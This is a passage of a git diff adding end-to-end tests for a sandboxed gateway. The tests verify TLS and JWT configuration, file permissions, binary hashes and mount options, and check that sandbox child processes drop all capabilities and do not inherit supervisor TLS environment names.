+  type OpenShellComponents,
+  type OpenShellDriverConfigTestWrapper,
+  resolveOpenShellSiblingComponents,
+  withOpenShellDriverConfigWrapperEnv,
+} from "./openshell-driver-config-test-wrapper.ts";
+
+export const EXACT_MAIN_DRIVER_CONFIG_PROOF_ENV = "NEMOCLAW_OPENSHELL_EXACT_MAIN_PROOF";
+export const EXACT_MAIN_TMPFS_TARGET = "/tmp/nemoclaw-exact-main-driver-config";
+export const EXACT_MAIN_TMPFS_MOUNT = {
+  type: "tmpfs",
+  target: EXACT_MAIN_TMPFS_TARGET,
+  options: ["noexec"],
+  size_bytes: 16_777_216,
+  mode: 0o1777,
+} as const;
+export const EXACT_MAIN_DRIVER_CONFIG_JSON = JSON.stringify({
+  docker: { mounts: [EXACT_MAIN_TMPFS_MOUNT] },
+  podman: { mounts: [EXACT_MAIN_TMPFS_MOUNT] },
+});
+
+const DEFAULT_GATEWAY_STATE_DIR = path.join(
+  os.homedir(),
+  ".local",
+  "state",
+  "nemoclaw",
+  "openshell-docker-gateway",
+);
+const GATEWAY_CONFIG_NAME = "openshell-gateway.toml";
+const GATEWAY_PID_NAME = "openshell-gateway.pid";
+const SANDBOX_LABEL = "openshell.ai/sandbox-name";
+const TMPFS_MARKER = `${EXACT_MAIN_TMPFS_TARGET}/candidate-main-marker`;
+const DURABLE_MARKER = "/sandbox/.deepagents/.state/candidate-main-driver-config-marker";
+const SUPERVISOR_TARGET = "/opt/openshell/bin/openshell-sandbox";
+const SANDBOX_TOKEN_TARGET = "/etc/openshell/auth/sandbox.jwt";
+const TLS_MOUNT_TARGETS = [
+  "/etc/openshell/tls/client/ca.crt",
+  "/etc/openshell/tls/client/tls.crt",
+  "/etc/openshell/tls/client/tls.key",
+] as const;
+
+type JsonRecord = Record<string, unknown>;
+
+type CandidateProvenance = {
+  artifacts?: {
+    cli?: { binarySha256?: unknown };
+    gateway?: { binarySha256?: unknown };
+    standaloneSandbox?: { binarySha256?: unknown };
+  };
+  sourceSha?: unknown;
+};
+
+type ParsedGatewayConfig = {
+  configSha256: string;
+  endpoint: string;
+  gatewayId: string;
+  networkName: string;
+  port: number;
+  supervisorImage: string;
+};
+
+type DockerMount = {
+  Destination?: unknown;
+  RW?: unknown;
+  Source?: unknown;
+  Type?: unknown;
+};
+
+type RuntimeSnapshot = {
+  bridgeAddress: string;
+  config: ParsedGatewayConfig;
+  containerId: string;
+  gatewayBinarySha256: string;
+  gatewayPid: number;
+};
+
+export type ExactMainDriverConfigProof = {
+  active: boolean;
+  assertAfterOnboard(): Promise<void>;
+  assertAfterRebuild(): Promise<void>;
+  baseline?: RuntimeSnapshot;
+  components?: OpenShellComponents;
+  durableMarkerValue?: string;
+  envOverlay: NodeJS.ProcessEnv;
+  postRestart?: RuntimeSnapshot;
+  provenance?: CandidateProvenance;
+  wrapper?: OpenShellDriverConfigTestWrapper;
+};
+
+type ExactMainDriverConfigFixture = {
+  artifacts: ArtifactSink;
+  cleanup: CleanupRegistry;
+  host: HostCliClient;
+  lifecycle: LifecyclePhaseFixture;
+  sandbox: SandboxClient;
+};
+
+function isRecord(value: unknown): value is JsonRecord {
+  return value !== null && typeof value === "object" && !Array.isArray(value);
+}
+
+function requireRecord(value: unknown, label: string): JsonRecord {
+  if (!isRecord(value)) throw new Error(`${label} must be a TOML table`);
+  return value;
+}
+
+function requireString(value: unknown, label: string): string {
+  if (typeof value !== "string" || value.trim() === "") {
+    throw new Error(`${label} must be a non-empty string`);
+  }
+  return value;
+}
+
+function requireInteger(value: unknown, label: string): number {
+  if (typeof value !== "number" || !Number.isSafeInteger(value)) {
+    throw new Error(`${label} must be an integer`);
+  }
+  return value;
+}
+
+function sha256File(filePath: string): string {
+  return createHash("sha256").update(fs.readFileSync(filePath)).digest("hex");
+}
+
+function gatewayStateDir(): string {
+  return process.env.NEMOCLAW_OPENSHELL_GATEWAY_STATE_DIR?.trim() || DEFAULT_GATEWAY_STATE_DIR;
+}
+
+function assertRestrictedRegularFile(filePath: string, label: string): void {
+  const stat = fs.statSync(filePath);
+  expect(stat.isFile(), `${label} must be a regular file`).toBe(true);
+  expect(stat.mode & 0o777, `${label} must be mode 0600`).toBe(0o600);
+}
+
+function assertReadableRegularFile(filePath: string, label: string): void {
+  const stat = fs.statSync(filePath);
+  expect(stat.isFile(), `${label} must be a regular file`).toBe(true);
+  fs.accessSync(filePath, fs.constants.R_OK);
+}
+
+function readCandidateProvenance(artifacts: ArtifactSink): CandidateProvenance {
+  const provenancePath = path.join(artifacts.rootDir, "openshell-exact-main-provenance.json");
+  const provenance = JSON.parse(fs.readFileSync(provenancePath, "utf8")) as CandidateProvenance;
+  expect(provenance.sourceSha, "exact-main provenance must name a full source SHA").toMatch(
+    /^[0-9a-f]{40}$/,
+  );
+  return provenance;
+}
+
+function expectedBinarySha(
+  provenance: CandidateProvenance,
+  role: "cli" | "gateway" | "standaloneSandbox",
+): string {
+  return requireString(provenance.artifacts?.[role]?.binarySha256, `${role} binary SHA-256`);
+}
+
+function readRenderedGatewayConfig(proof: ExactMainDriverConfigProof): ParsedGatewayConfig {
+  const components = proof.components;
+  if (!components) throw new Error("exact-main OpenShell components were not prepared");
+  const stateDir = gatewayStateDir();
+  const configPath = path.join(stateDir, GATEWAY_CONFIG_NAME);
+  assertRestrictedRegularFile(configPath, "rendered OpenShell gateway config");
+  const raw = fs.readFileSync(configPath, "utf8");
+  const parsed = requireRecord(parseToml(raw), "rendered OpenShell config");
+  const openshell = requireRecord(parsed.openshell, "openshell");
+  expect(openshell.version).toBe(1);
+  const gateway = requireRecord(openshell.gateway, "openshell.gateway");
+  expect(gateway.compute_drivers).toEqual(["docker"]);
+  expect(gateway.disable_tls).toBe(false);
+  const tls = requireRecord(gateway.tls, "openshell.gateway.tls");
+  expect(tls.require_client_auth).toBe(true);
+  const mtls = requireRecord(gateway.mtls_auth, "openshell.gateway.mtls_auth");
+  expect(mtls.enabled).toBe(true);
+  const auth = requireRecord(gateway.auth, "openshell.gateway.auth");
+  expect(auth.allow_unauthenticated_users).toBe(false);
+  const jwt = requireRecord(gateway.gateway_jwt, "openshell.gateway.gateway_jwt");
+  expect(requireInteger(jwt.ttl_secs, "gateway JWT ttl_secs")).toBe(0);
+  const gatewayId = requireString(jwt.gateway_id, "gateway JWT gateway_id");
+  for (const key of ["signing_key_path", "public_key_path", "kid_path"] as const) {
+    const filePath = requireString(jwt[key], `gateway JWT ${key}`);
+    expect(path.isAbsolute(filePath), `gateway JWT ${key} must be absolute`).toBe(true);
+    assertRestrictedRegularFile(filePath, `gateway JWT ${key}`);
+  }
+
+  const drivers = requireRecord(openshell.drivers, "openshell.drivers");
+  expect(
+    Object.keys(drivers),
+    "NemoClaw must render only the selected Docker driver table",
+  ).toEqual(["docker"]);
+  const docker = requireRecord(drivers.docker, "openshell.drivers.docker");
+  const endpoint = requireString(docker.grpc_endpoint, "Docker grpc_endpoint");
+  const endpointUrl = new URL(endpoint);
+  expect(endpointUrl.protocol).toBe("https:");
+  expect(endpointUrl.hostname).toBe("127.0.0.1");
+  const port = Number(endpointUrl.port);
+  expect(Number.isSafeInteger(port) && port > 0 && port <= 65_535).toBe(true);
+  const networkName = requireString(docker.network_name, "Docker network_name");
+  const supervisorImage = requireString(docker.supervisor_image, "Docker supervisor_image");
+  expect(supervisorImage).toBe(process.env.OPENSHELL_DOCKER_SUPERVISOR_IMAGE);
+  expect(fs.realpathSync(requireString(docker.supervisor_bin, "Docker supervisor_bin"))).toBe(
+    components.sandbox,
+  );
+
+  const clientCa = requireString(tls.client_ca_path, "gateway TLS client_ca_path");
+  expect(requireString(docker.guest_tls_ca, "Docker guest_tls_ca")).toBe(clientCa);
+  assertReadableRegularFile(
+    requireString(tls.cert_path, "gateway TLS cert_path"),
+    "gateway TLS cert_path",
+  );
+  assertRestrictedRegularFile(
+    requireString(tls.key_path, "gateway TLS key_path"),
+    "gateway TLS key_path",
+  );
+  assertReadableRegularFile(clientCa, "gateway TLS client_ca_path");
+  assertReadableRegularFile(
+    requireString(docker.guest_tls_ca, "Docker guest_tls_ca"),
+    "Docker guest_tls_ca",
+  );
+  assertReadableRegularFile(
+    requireString(docker.guest_tls_cert, "Docker guest_tls_cert"),
+    "Docker guest_tls_cert",
+  );
+  assertRestrictedRegularFile(
+    requireString(docker.guest_tls_key, "Docker guest_tls_key"),
+    "Docker guest_tls_key",
+  );
+
+  return {
+    configSha256: createHash("sha256").update(raw).digest("hex"),
+    endpoint,
+    gatewayId,
+    networkName,
+    port,
+    supervisorImage,
+  };
+}
+
+function readGatewayPid(): number {
+  const raw = fs.readFileSync(path.join(gatewayStateDir(), GATEWAY_PID_NAME), "utf8").trim();
+  if (!/^[1-9][0-9]*$/.test(raw)) throw new Error(`invalid OpenShell gateway pid '${raw}'`);
+  const pid = Number(raw);
+  process.kill(pid, 0);
+  return pid;
+}
+
+async function requireDockerBridgeAddress(
+  host: HostCliClient,
+  networkName: string,
+  phase: string,
+): Promise<string> {
+  const result = await host.command(
+    "docker",
+    ["network", "inspect", networkName, "--format", "{{json .IPAM.Config}}"],
+    {
+      artifactName: `exact-main-driver-network-${phase}`,
+      env: buildAvailabilityProbeEnv(),
+      timeoutMs: 30_000,
+    },
+  );
+  expect(result.exitCode, resultText(result)).toBe(0);
+  const configs = JSON.parse(result.stdout.trim()) as Array<{
+    Gateway?: unknown;
+  }>;
+  const gateway = configs
+    .map((config) => config.Gateway)
+    .find((value): value is string => typeof value === "string" && isIP(value) === 4);
+  return requireString(gateway, "Docker network IPv4 gateway");
+}
+
+async function requireRunningSandboxContainer(
+  host: HostCliClient,
+  sandboxName: string,
+  phase: string,
+): Promise<string> {
+  const result = await host.command(
+    "docker",
+    [
+      "ps",
+      "--no-trunc",
+      "--filter",
+      `label=${SANDBOX_LABEL}=${sandboxName}`,
+      "--format",
+      "{{.ID}}",
+    ],
+    {
+      artifactName: `exact-main-driver-container-${phase}`,
+      env: buildAvailabilityProbeEnv(),
+      timeoutMs: 30_000,
+    },
+  );
+  expect(result.exitCode, resultText(result)).toBe(0);
+  const ids = result.stdout
+    .split(/\r?\n/)
+    .map((line) => line.trim())
+    .filter(Boolean);
+  expect(ids, `expected exactly one running Docker container for ${sandboxName}`).toHaveLength(1);
+  return ids[0]!;
+}
+
+async function inspectJson<T>(
+  host: HostCliClient,
+  containerId: string,
+  template: string,
+  artifactName: string,
+): Promise<T> {
+  const result = await host.command("docker", ["inspect", "--format", template, containerId], {
+    artifactName,
+    env: buildAvailabilityProbeEnv(),
+    timeoutMs: 30_000,
+  });
+  expect(result.exitCode, resultText(result)).toBe(0);
+  return JSON.parse(result.stdout.trim()) as T;
+}
+
+async function assertRuntimeMounts(
+  host: HostCliClient,
+  proof: ExactMainDriverConfigProof,
+  config: ParsedGatewayConfig,
+  containerId: string,
+  phase: string,
+): Promise<void> {
+  const components = proof.components!;
+  const mounts = await inspectJson<DockerMount[]>(
+    host,
+    containerId,
+    "{{json .Mounts}}",
+    `exact-main-driver-mounts-${phase}`,
+  );
+  const tmpfs = mounts.filter((mount) => mount.Destination === EXACT_MAIN_TMPFS_TARGET);
+  expect(tmpfs).toHaveLength(1);
+  expect(tmpfs[0]).toMatchObject({ Type: "tmpfs", RW: true });
+  const supervisor = mounts.find((mount) => mount.Destination === SUPERVISOR_TARGET);
+  expect(supervisor).toMatchObject({ Type: "bind", RW: false });
+  expect(fs.realpathSync(requireString(supervisor?.Source, "supervisor bind source"))).toBe(
+    components.sandbox,
+  );
+  for (const target of [...TLS_MOUNT_TARGETS, SANDBOX_TOKEN_TARGET]) {
+    expect(mounts.find((mount) => mount.Destination === target)).toMatchObject({
+      Type: "bind",
+      RW: false,
+    });
+  }
+  const binds = await inspectJson<unknown>(
+    host,
+    containerId,
+    "{{json .HostConfig.Binds}}",
+    `exact-main-driver-binds-${phase}`,
+  );
+  expect(
+    Array.isArray(binds) && binds.some((bind) => String(bind).includes(EXACT_MAIN_TMPFS_TARGET)),
+    "the reviewed tmpfs must stay on Docker's structured Mount path, not SELinux legacy Binds",
+  ).toBe(false);
+  const networks = await inspectJson<JsonRecord>(
+    host,
+    containerId,
+    "{{json .NetworkSettings.Networks}}",
+    `exact-main-driver-container-networks-${phase}`,
+  );
+  expect(networks[config.networkName], `sandbox must join ${config.networkName}`).toBeDefined();
+}
+
+async function assertGatewayListeners(
+  host: HostCliClient,
+  gatewayPid: number,
+  config: ParsedGatewayConfig,
+  bridgeAddress: string,
+  phase: string,
+): Promise<void> {
+  const listeners = await host.command("ss", ["-H", "-ltnp"], {
+    artifactName: `exact-main-driver-listeners-${phase}`,
+    env: buildAvailabilityProbeEnv(),
+    timeoutMs: 30_000,
+  });
+  expect(listeners.exitCode, resultText(listeners)).toBe(0);
+  const owned = resultText(listeners)
+    .split(/\r?\n/)
+    .filter((line) => line.includes(`pid=${gatewayPid},`));
+  expect(owned.some((line) => line.includes(`127.0.0.1:${config.port}`))).toBe(true);
+  expect(owned.some((line) => line.includes(`${bridgeAddress}:${config.port}`))).toBe(true);
+  expect(owned.some((line) => line.includes(`0.0.0.0:${config.port}`))).toBe(false);
+}
+
+async function captureRuntimeSnapshot(options: {
+  host: HostCliClient;
+  phase: string;
+  proof: ExactMainDriverConfigProof;
+  sandbox: SandboxClient;
+  sandboxName: string;
+}): Promise<RuntimeSnapshot> {
+  const { host, phase, proof, sandbox, sandboxName } = options;
+  const components = proof.components!;
+  const provenance = proof.provenance!;
+  const config = readRenderedGatewayConfig(proof);
+  const gatewayPid = readGatewayPid();
+  const gatewayExe = fs.realpathSync(`/proc/${gatewayPid}/exe`);
+  expect(gatewayExe, "running gateway must be the reviewed candidate binary").toBe(
+    components.gateway,
+  );
+  const gatewayBinarySha256 = sha256File(gatewayExe);
+  expect(gatewayBinarySha256).toBe(expectedBinarySha(provenance, "gateway"));
+  expect(sha256File(components.cli)).toBe(expectedBinarySha(provenance, "cli"));
+  expect(sha256File(components.sandbox)).toBe(expectedBinarySha(provenance, "standaloneSandbox"));
+  const bridgeAddress = await requireDockerBridgeAddress(host, config.networkName, phase);
+  await assertGatewayListeners(host, gatewayPid, config, bridgeAddress, phase);
+  const containerId = await requireRunningSandboxContainer(host, sandboxName, phase);
+  await assertRuntimeMounts(host, proof, config, containerId, phase);
+  await sandbox.expectListed(sandboxName, {
+    artifactName: `exact-main-driver-openshell-list-${phase}`,
+    timeoutMs: 60_000,
+  });
+  return {
+    bridgeAddress,
+    config,
+    containerId,
+    gatewayBinarySha256,
+    gatewayPid,
+  };
+}
+
+async function assertSandboxMountAndAuth(options: {
+  phase: string;
+  sandbox: SandboxClient;
+  sandboxName: string;
+  durableMarkerValue: string;
+  tmpfsMarker: "absent" | "present" | "write";
+}): Promise<void> {
+  const markerCheck =
+    options.tmpfsMarker === "write"
+      ? `test ! -e ${TMPFS_MARKER}; printf '%s\\n' candidate-main > ${TMPFS_MARKER}`
+      : options.tmpfsMarker === "present"
+        ? `grep -Fx candidate-main ${TMPFS_MARKER} >/dev/null`
+        : `test ! -e ${TMPFS_MARKER}`;
+  const durableCheck =
+    options.tmpfsMarker === "write"
+      ? `mkdir -p /sandbox/.deepagents/.state; printf '%s\\n' '${options.durableMarkerValue}' > ${DURABLE_MARKER}`
+      : `grep -Fx '${options.durableMarkerValue}' ${DURABLE_MARKER} >/dev/null`;
+  const script = trustedSandboxShellScript(
+    [
+      "set -eu",
+      `mount_line="$(awk '$2 == "${EXACT_MAIN_TMPFS_TARGET}" { print $3 " " $4; found = 1 } END { if (!found) exit 1 }' /proc/mounts)"`,
+      'mount_type="${mount_line%% *}"',
+      'mount_options="${mount_line#* }"',
+      'test "$mount_type" = tmpfs',
+      'case ",$mount_options," in *,noexec,*) ;; *) exit 1 ;; esac',
+      `test "$(stat -c '%a' ${EXACT_MAIN_TMPFS_TARGET})" = 1777`,
+      `test -r ${SANDBOX_TOKEN_TARGET} && test -s ${SANDBOX_TOKEN_TARGET}`,
+      ...TLS_MOUNT_TARGETS.map((target) => `test -r ${target} && test -s ${target}`),
+      markerCheck,
+      durableCheck,
+      `printf 'tmpfs=%s mode=%s auth_mounts=present\\n' "$mount_type" "$(stat -c '%a' ${EXACT_MAIN_TMPFS_TARGET})"`,
+    ].join("\n"),
+  );
+  const result = await options.sandbox.execShell(options.sandboxName, script, {
+    artifactName: `exact-main-driver-sandbox-${options.phase}`,
+    env: sandboxAccessEnv(),
+    timeoutMs: 60_000,
+  });
+  expect(result.exitCode, resultText(result)).toBe(0);
+  expect(resultText(result)).toContain("tmpfs=tmpfs mode=1777 auth_mounts=present");
+}
+
+async function writeSnapshotArtifact(
+  artifacts: ArtifactSink,
+  phase: string,
+  proof: ExactMainDriverConfigProof,
+  snapshot: RuntimeSnapshot,
+  mountLifecycle: string,
+): Promise<void> {
+  await artifacts.writeJson(`exact-main-driver-config-${phase}.json`, {
+    sourceSha: proof.provenance?.sourceSha,
+    phase,
+    selectedDriver: "docker",
+    renderedConfigSha256: snapshot.config.configSha256,
+    renderedEndpoint: snapshot.config.endpoint,
+    networkName: snapshot.config.networkName,
+    supervisorImage: snapshot.config.supervisorImage,
+    gatewayBinarySha256: snapshot.gatewayBinarySha256,
+    gatewayPid: snapshot.gatewayPid,
+    containerId: snapshot.containerId,
+    listeners: [
+      `127.0.0.1:${snapshot.config.port}`,
+      `${snapshot.bridgeAddress}:${snapshot.config.port}`,
+    ],
+    auth: {
+      gatewayTls: "enabled",
+      hostMtls: "required-and-list-succeeded",
+      sandboxJwtAndMtls: "mounted-and-supervisor-relay-exec-succeeded",
+      unauthenticatedUsers: "disabled",
+    },
+    mount: {
+      target: EXACT_MAIN_TMPFS_TARGET,
+      representation: "structured-tmpfs-not-bind",
+      options: ["noexec"],
+      mode: "1777",
+      lifecycle: mountLifecycle,
+    },
+  });
+}
+
+export function prepareExactMainDriverConfigProof(
+  fixture: ExactMainDriverConfigFixture,
+  sandboxName: string,
+): ExactMainDriverConfigProof {
+  if (process.env[EXACT_MAIN_DRIVER_CONFIG_PROOF_ENV] !== "1") {
+    return {
+      active: false,
+      assertAfterOnboard: async () => {},
+      assertAfterRebuild: async () => {},
+      envOverlay: {},
+    };
+  }
+  if (process.platform !== "linux") {
+    throw new Error("exact-main Docker driver-config proof is Linux-only");
+  }
+  const openshellPath = process.env.OPENSHELL_BIN?.trim();
+  if (!openshellPath || !path.isAbsolute(openshellPath)) {
+    throw new Error("exact-main Docker driver-config proof requires absolute OPENSHELL_BIN");
+  }
+  const components = resolveOpenShellSiblingComponents(openshellPath);
+  const wrapper = createOpenShellDriverConfigTestWrapper({
+    delegatedCapabilityMarkers: REQUIRED_OPENSHELL_MCP_FEATURES,
+    driverConfigJson: EXACT_MAIN_DRIVER_CONFIG_JSON,
+    label: "exact-main-driver-config",
+    realOpenshellPath: components.cli,
+  });
+  fixture.cleanup.add("remove exact-main driver-config OpenShell wrapper", wrapper.remove);
+  const envOverlay = withOpenShellDriverConfigWrapperEnv(
+    { PATH: process.env.PATH ?? "" },
+    wrapper,
+    components,
+  );
+  const previousEnv = Object.fromEntries(
+    Object.keys(envOverlay).map((key) => [key, process.env[key]]),
+  );
+  Object.assign(process.env, envOverlay);
+  fixture.cleanup.add("restore exact-main driver-config environment", () => {
+    for (const [key, value] of Object.entries(previousEnv)) {
+      if (value === undefined) delete process.env[key];
+      else process.env[key] = value;
+    }
+  });
+  const proof: ExactMainDriverConfigProof = {
+    active: true,
+    assertAfterOnboard: async () => {
+      await assertExactMainDriverConfigBeforeRestart({
+        artifacts: fixture.artifacts,
+        host: fixture.host,
+        proof,
+        sandbox: fixture.sandbox,
+        sandboxName,
+      });
+      await restartAndAssertExactMainDriverConfig({
+        artifacts: fixture.artifacts,
+        host: fixture.host,
+        lifecycle: fixture.lifecycle,
+        proof,
+        sandbox: fixture.sandbox,
+        sandboxName,
+      });
+    },
+    assertAfterRebuild: async () => {
+      await assertExactMainDriverConfigAfterRebuild({
+        artifacts: fixture.artifacts,
+        host: fixture.host,
+        proof,
+        sandbox: fixture.sandbox,
+        sandboxName,
+      });
+    },
+    components,
+    durableMarkerValue: `candidate-main-${randomUUID()}`,
+    envOverlay,
+    wrapper,
+  };
+  return proof;
+}
+
+export async function assertExactMainDriverConfigBeforeRestart(options: {
+  artifacts: ArtifactSink;
+  host: HostCliClient;
+  proof: ExactMainDriverConfigProof;
+  sandbox: SandboxClient;
+  sandboxName: string;
+}): Promise<void> {
+  if (!options.proof.active) return;
+  options.proof.provenance = readCandidateProvenance(options.artifacts);
+  const snapshot = await captureRuntimeSnapshot({
+    ...options,
+    phase: "before-restart",
+  });
+  await assertSandboxMountAndAuth({
+    phase: "before-restart",
+    sandbox: options.sandbox,
+    sandboxName: options.sandboxName,
+    durableMarkerValue: options.proof.durableMarkerValue!,
+    tmpfsMarker: "write",
+  });
+  options.proof.baseline = snapshot;
+  await writeSnapshotArtifact(
+    options.artifacts,
+    "before-restart",
+    options.proof,
+    snapshot,
+    "mounted-after-candidate-onboard",
+  );
+}
+
+export async function restartAndAssertExactMainDriverConfig(options: {
+  artifacts: ArtifactSink;
+  host: HostCliClient;
+  lifecycle: LifecyclePhaseFixture;
+  proof: ExactMainDriverConfigProof;
+  sandbox: SandboxClient;
+  sandboxName: string;
+}): Promise<void> {
+  if (!options.proof.active) return;
+  const baseline = options.proof.baseline;
+  if (!baseline) throw new Error("exact-main baseline snapshot is missing");
+  await options.lifecycle.restartGatewayRuntime({
+    delayMs: 1_000,
+    sandboxName: options.sandboxName,
+  });
+  await options.lifecycle.waitForGatewayConnected({
+    attempts: 60,
+    intervalMs: 2_000,
+  });
+  const snapshot = await captureRuntimeSnapshot({
+    ...options,
+    phase: "after-gateway-restart",
+  });
+  expect(snapshot.gatewayPid, "host OpenShell gateway restart must replace the process").not.toBe(
+    baseline.gatewayPid,
+  );
+  expect(snapshot.containerId, "gateway restart must retain the sandbox container").toBe(
+    baseline.containerId,
+  );
+  expect(snapshot.config.configSha256, "rendered selected-driver config must be stable").toBe(
+    baseline.config.configSha256,
+  );
+  await assertSandboxMountAndAuth({
+    phase: "after-gateway-restart",
+    sandbox: options.sandbox,
+    sandboxName: options.sandboxName,
+    durableMarkerValue: options.proof.durableMarkerValue!,
+    tmpfsMarker: "present",
+  });
+  await options.host.expectListed(options.sandboxName, {
+    artifactName: "exact-main-driver-nemoclaw-list-after-gateway-restart",
+    env: buildAvailabilityProbeEnv(),
+    timeoutMs: 60_000,
+  });
+  await options.host.expectStatus(options.sandboxName, {
+    artifactName: "exact-main-driver-nemoclaw-status-after-gateway-restart",
+    env: buildAvailabilityProbeEnv(),
+    timeoutMs: 120_000,
+  });
+  options.proof.postRestart = snapshot;
+  await writeSnapshotArtifact(
+    options.artifacts,
+    "after-gateway-restart",
+    options.proof,
+    snapshot,
+    "same-container-tmpfs-and-durable-state-retained",
+  );
+}
+
+export async function assertExactMainDriverConfigAfterRebuild(options: {
+  artifacts: ArtifactSink;
+  host: HostCliClient;
+  proof: ExactMainDriverConfigProof;
+  sandbox: SandboxClient;
+  sandboxName: string;
+}): Promise<void> {
+  if (!options.proof.active) return;
+  const prior = options.proof.postRestart;
+  if (!prior) throw new Error("exact-main post-restart snapshot is missing");
+  const snapshot = await captureRuntimeSnapshot({
+    ...options,
+    phase: "after-rebuild",
+  });
+  expect(
+    snapshot.containerId,
+    "NemoClaw rebuild must replace the Docker sandbox container",
+  ).not.toBe(prior.containerId);
+  expect(snapshot.config.configSha256, "rendered selected-driver config must survive rebuild").toBe(
+    prior.config.configSha256,
+  );
+  await assertSandboxMountAndAuth({
+    phase: "after-rebuild",
+    sandbox: options.sandbox,
+    sandboxName: options.sandboxName,
+    durableMarkerValue: options.proof.durableMarkerValue!,
+    tmpfsMarker: "absent",
+  });
+  await writeSnapshotArtifact(
+    options.artifacts,
+    "after-rebuild",
+    options.proof,
+    snapshot,
+    "fresh-tmpfs-remounted-and-deepagents-state-restored",
+  );
+}
diff --git a/test/e2e/live/openshell-exact-main-exec.ts b/test/e2e/live/openshell-exact-main-exec.ts
new file mode 100644
index 0000000000..d4414ead56
--- /dev/null
+++ b/test/e2e/live/openshell-exact-main-exec.ts
@@ -0,0 +1,338 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+import { buildAvailabilityProbeEnv } from "../fixtures/availability-env.ts";
+import { assertExitZero as expectExitZero, resultText } from "../fixtures/clients/command.ts";
+import type { HostCliClient } from "../fixtures/clients/host.ts";
+import { expect } from "../fixtures/e2e-test.ts";
+import type { ShellProbeResult } from "../fixtures/shell-probe.ts";
+
+const SUPERVISOR_TLS_ENV_NAMES = [
+  "OPENSHELL_TLS_CA",
+  "OPENSHELL_TLS_CERT",
+  "OPENSHELL_TLS_KEY",
+] as const;
+const ENTRYPOINT_ARGV = ["nemoclaw-dcode-entrypoint", "-f", "/dev/null"] as const;
+const CONNECT_CHILD_OK = "NEMOCLAW_EXACT_MAIN_CONNECT_CHILD_OK";
+
+type ExactMainChildProofReport = {
+  capBnd: string;
+  surface: "entrypoint" | "exec";
+  supervisorTlsEnvNames: string[];
+};
+
+export const ENTRYPOINT_CHILD_PROBE = String.raw`import json
+from pathlib import Path
+
+expected_argv = ${JSON.stringify(ENTRYPOINT_ARGV)}
+tls_names = {${SUPERVISOR_TLS_ENV_NAMES.map((name) => JSON.stringify(name)).join(", ")}}
+matches = []
+for proc in Path("/proc").iterdir():
+    if not proc.name.isdigit():
+        continue
+    try:
+        argv = [item.decode("utf-8", "strict") for item in (proc / "cmdline").read_bytes().split(b"\0") if item]
+    except (OSError, UnicodeDecodeError):
+        continue
+    if argv == expected_argv:
+        matches.append(proc)
+if len(matches) != 1:
+    raise SystemExit(f"expected exactly one Deep Agents entrypoint, found {len(matches)}")
+proc = matches[0]
+status = {}
+for line in (proc / "status").read_text(encoding="utf-8").splitlines():
+    name, separator, value = line.partition(":")
+    if separator:
+        status[name] = value.strip().split()[0]
+cap_bnd = status.get("CapBnd", "")
+if not cap_bnd or set(cap_bnd) != {"0"}:
+    raise SystemExit(f"entrypoint retained capability bounding set {cap_bnd or '<missing>'}")
+environment = {
+    item.split(b"=", 1)[0].decode("utf-8", "strict")
+    for item in (proc / "environ").read_bytes().split(b"\0")
+    if b"=" in item
+}
+leaked = sorted(environment.intersection(tls_names))
+if leaked:
+    raise SystemExit(f"entrypoint inherited supervisor TLS identity names: {','.join(leaked)}")
+print(json.dumps({
+    "surface": "entrypoint",
+    "capBnd": cap_bnd,
+    "supervisorTlsEnvNames": leaked,
+}, sort_keys=True))`;
+
+export const EXEC_CHILD_PROBE = String.raw`import json
+import os
+from pathlib import Path
+
+tls_names = {${SUPERVISOR_TLS_ENV_NAMES.map((name) => JSON.stringify(name)).join(", ")}}
+status = {}
+for line in Path("/proc/self/status").read_text(encoding="utf-8").splitlines():
+    name, separator, value = line.partition(":")
+    if separator:
+        status[name] = value.strip().split()[0]
+cap_bnd = status.get("CapBnd", "")
+if not cap_bnd or set(cap_bnd) != {"0"}:
+    raise SystemExit(f"exec child retained capability bounding set {cap_bnd or '<missing>'}")
+leaked = sorted(set(os.environ).intersection(tls_names))
+if leaked:
+    raise SystemExit(f"exec child inherited supervisor TLS identity names: {','.join(leaked)}")
+print(json.dumps({
+    "surface": "exec",
+    "capBnd": cap_bnd,
+    "supervisorTlsEnvNames": leaked,
+}, sort_keys=True))`;
+
+export const CONNECT_CHILD_PROBE = String.raw`cap_bnd="$(awk '/^CapBnd:/ { print $2; exit }' "/proc/$$/status")"
+case "$cap_bnd" in
+  ""|*[!0]*)
+    test -n "$cap_bnd" || cap_bnd=missing
+    printf '%s\n' "NEMOCLAW_EXACT_MAIN_CONNECT_CHILD_FAIL CapBnd=$cap_bnd" >&2
+    exit 91
+    ;;
+esac
+for name in ${SUPERVISOR_TLS_ENV_NAMES.join(" ")}; do
+  if printenv "$name" >/dev/null 2>&1; then
+    printf '%s\n' "NEMOCLAW_EXACT_MAIN_CONNECT_CHILD_FAIL inherited=$name" >&2
+    exit 92
+  fi
+done
+printf '%s\n' "${CONNECT_CHILD_OK} CapBnd=$cap_bnd"
+exit 0`;
+
+function exactMainDockerContainerId(output: string, sandboxName: string): string {
+  const rows = output
+    .split(/\r?\n/u)
+    .map((line) => line.trim())
+    .filter(Boolean);
+  if (rows.length !== 1) {
+    throw new Error(
+      `expected exactly one running Docker container for ${sandboxName}, found ${rows.length}`,
+    );
+  }
+  const [id, name, ...unexpected] = rows[0].split("\t");
+  const expectedName = `openshell-${sandboxName}`;
+  if (
+    !id ||
+    !/^[0-9a-f]{12,64}$/u.test(id) ||
+    !name ||
+    unexpected.length > 0 ||
+    (name !== expectedName && !name.startsWith(`${expectedName}-`))
+  ) {
+    throw new Error(`unexpected OpenShell Docker container identity for ${sandboxName}`);
+  }
+  return id;
+}
+
+function assertChildProofReport(
+  result: ShellProbeResult,
+  surface: ExactMainChildProofReport["surface"],
+): void {
+  expectExitZero(result, `exact-main ${surface} child security boundary`);
+  let report: ExactMainChildProofReport;
+  try {
+    report = JSON.parse(result.stdout.trim()) as ExactMainChildProofReport;
+  } catch (error) {
+    throw new Error(`exact-main ${surface} child emitted an invalid proof report`, {
+      cause: error,
+    });
+  }
+  if (report.surface !== surface) {
+    throw new Error(`exact-main child proof reported ${report.surface} instead of ${surface}`);
+  }
+  if (!/^[0]+$/u.test(report.capBnd)) {
+    throw new Error(`exact-main ${surface} child expected full CapBnd=0, got ${report.capBnd}`);
+  }
+  if (!Array.isArray(report.supervisorTlsEnvNames) || report.supervisorTlsEnvNames.length !== 0) {
+    throw new Error(
